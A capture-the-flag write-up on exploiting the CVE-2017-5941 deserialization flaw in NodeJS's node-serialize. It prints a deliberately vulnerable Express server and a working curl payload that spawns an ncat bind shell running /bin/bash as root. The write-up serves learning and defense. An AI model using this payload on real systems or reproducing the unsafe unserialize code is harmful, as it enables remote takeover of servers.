NodeJS Deserialization

This is a Pentester Academy challenge writeup. It required to exploit a CVE-2017-5941 vulnerability in NodeJS server application during deserialization to trigger an RCE.

Warning this is a writeup so it contains spoilers. I am changing it a little bit in order to save you from revealing everything.

Application

Server consisted of two endpoints: / and /process, where the latter accepted POST requests, parsed data, saved it in a file, then read it again, deserialized it and sent data in response.

'use strict';

var http = require('http');
var app = require('express')();

var bodyParser = require('body-parser');
var urlencodedParser = bodyParser.urlencoded({extended: true});

var listener = app.listen(8888, function(){
            console.log('Listening on port ' + listener.address().port); //Listening on port 8888
});

app.get('/', function (req, res) {
        var html = '';
        html += "Method\tEndpoint\tParameter\tDescription\n";
        html += "------\t--------\t---------\t-----------\n";
        html += "POST\t/process\tjson\t\tReturns the unserialized json\n";
        res.send(html);
});

app.post('/process', urlencodedParser, function (req, res) {


        // console.log(req.body.json);

        const fs = require('fs');

        var serialize = require('node-serialize');
        // serialize.deserialize(req.body.data);

        fs.writeFileSync('data.json', req.body.json);

        let rawdata = fs.readFileSync('data.json');
        console.log("\nRAW DATA: \n" + rawdata + "\n");
        let data = JSON.parse(rawdata);

        var reply = '';
        reply += "Unserialized response: <br />";
        //console.log("\nAfter unserialization: \n" + serialize.unserialize(data));
        reply += JSON.stringify(serialize.unserialize(data), null, 4);
        res.send(reply);
});

Example request and response are:

$ curl -X POST -d 'json={"a": "123"}' localhost:8888/process
Unserialized response: <br />{
    "a": "123"
}

JavaScript Strikes Again

JS has many poor design decisions features that make it an interesting object to evaluate (pun intended). One of such features is immediate function invocation. Normally when we create an object with defined functions, we need to explicitly call them.

> var x = {'a': function(){console.log('a')}}
> x.a
[Function: a]
> x.a()
a

But if we add braces behind function definitions magic happens:

> var x = {'a': function(){console.log('a')}()}
a

As you can see the function got called immediately. Let’s try this out with our server.

Serialize POC

First, we need to somehow serialize our data. Let’s use node-serialize for this.

> var serialize = require('node-serialize');
> var poc = {
... x: function(){console.log("POC")}
... }
> serialize.serialize(poc)
'{"x":"_$$ND_FUNC$$_function(){console.log(\\"POC\\")}"}'

Let’s paste this payload to our request.

curl -X POST -d 'json={"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}"}' localhost:8888/process
Unserialized response: <br />{}

And the server has logged:

RAW DATA:
{"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}"}

Looks like it has understood code correctly. So, let’s go once again, now trying to invoke the function. We should see “POC” being logged by the server.

curl -X POST -d 'json={"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}()"}' localhost:8888/process
Unserialized response: <br />{}

And this is what gets logged by the server:

RAW DATA:
{"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}()"}

POC

Preparing the Actual Payload

In order to be able to get full advantage of this NodeJS deserialization RCE vulerability, we’d like to have access to some sort of shell. This can be done with netcat.

ncat --help
Ncat 7.80 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  # ...
  -e, --exec <command>       Executes the given command
  # ...
  -l, --listen               Bind and listen for incoming connections
  # ...
 

It can serve as a simple server. Let’s try to run the ls command:

# Terminal 1
$ ncat -l -e /bin/bash localhost 5000
# Terminal 2
$ ncat localhost 5000
ls
data.json
main.js
node_modules
package-lock.json

Let’s try to insert it into our payload. We’ll need child_process library for this.

> var poc = {
... x: function(){
..... require('child_process').exec('ncat -l -e /bin/bash localhost 5000', function(er, so, se){});
..... },
... }
> serialize.serialize(poc)
`{"x":"_$$ND_FUNC$$_function(){\\nrequire('child_process').exec('ncat -l -e /bin/bash localhost 5000', function(er, so, se){});\\n}"}`

Note, that I needed to delete backslashes and turn single quotes into escaped double quotes:

$ curl -X POST -d 'json={"x":"_$$ND_FUNC$$_function(){\nrequire(\"child_process\").exec(\"ncat -l -e /bin/bash localhost 5555\", function(er, so, se){});\n}()"}' http://localhost:8888/process
Unserialized response: <br />{}                                                                                     
$ ncat localhost 5555
whoami
root

And that’s it. RCE through vulnerability with privilege escalation is here.

I encourage you to play around with this code (this time it won’t be on gitlab since it’s only one file and it’s not even my own code).

Additional resources

See also

I encourage you to subscribe to the newsletter, and read more: